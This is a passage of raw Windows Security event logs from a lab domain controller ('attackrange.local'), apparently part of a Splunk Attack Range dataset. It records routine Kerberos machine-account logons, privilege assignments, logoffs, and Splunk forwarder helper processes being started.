AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257305 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DCF0C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257304 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DD01C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257303 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DD065 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257302 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DD0E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50790 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257301 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DD0E7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257300 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DD065 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 50789 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257299 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DD065 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257298 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DD01C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257297 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DD01C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257296 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DCF0C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50788 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257295 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DCF0C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257294 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DCEDF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50787 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257293 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DCEDF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:22:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257292 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:22:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257307 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:22:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257306 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x858 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:22:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257308 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DD0E7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:22:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257311 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DEE98 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:22:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257310 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4DEE98 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50800 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:22:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257309 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4DEE98 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:23:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:23:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257313 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:23:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257314 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:23:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257315 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:23:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257316 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the 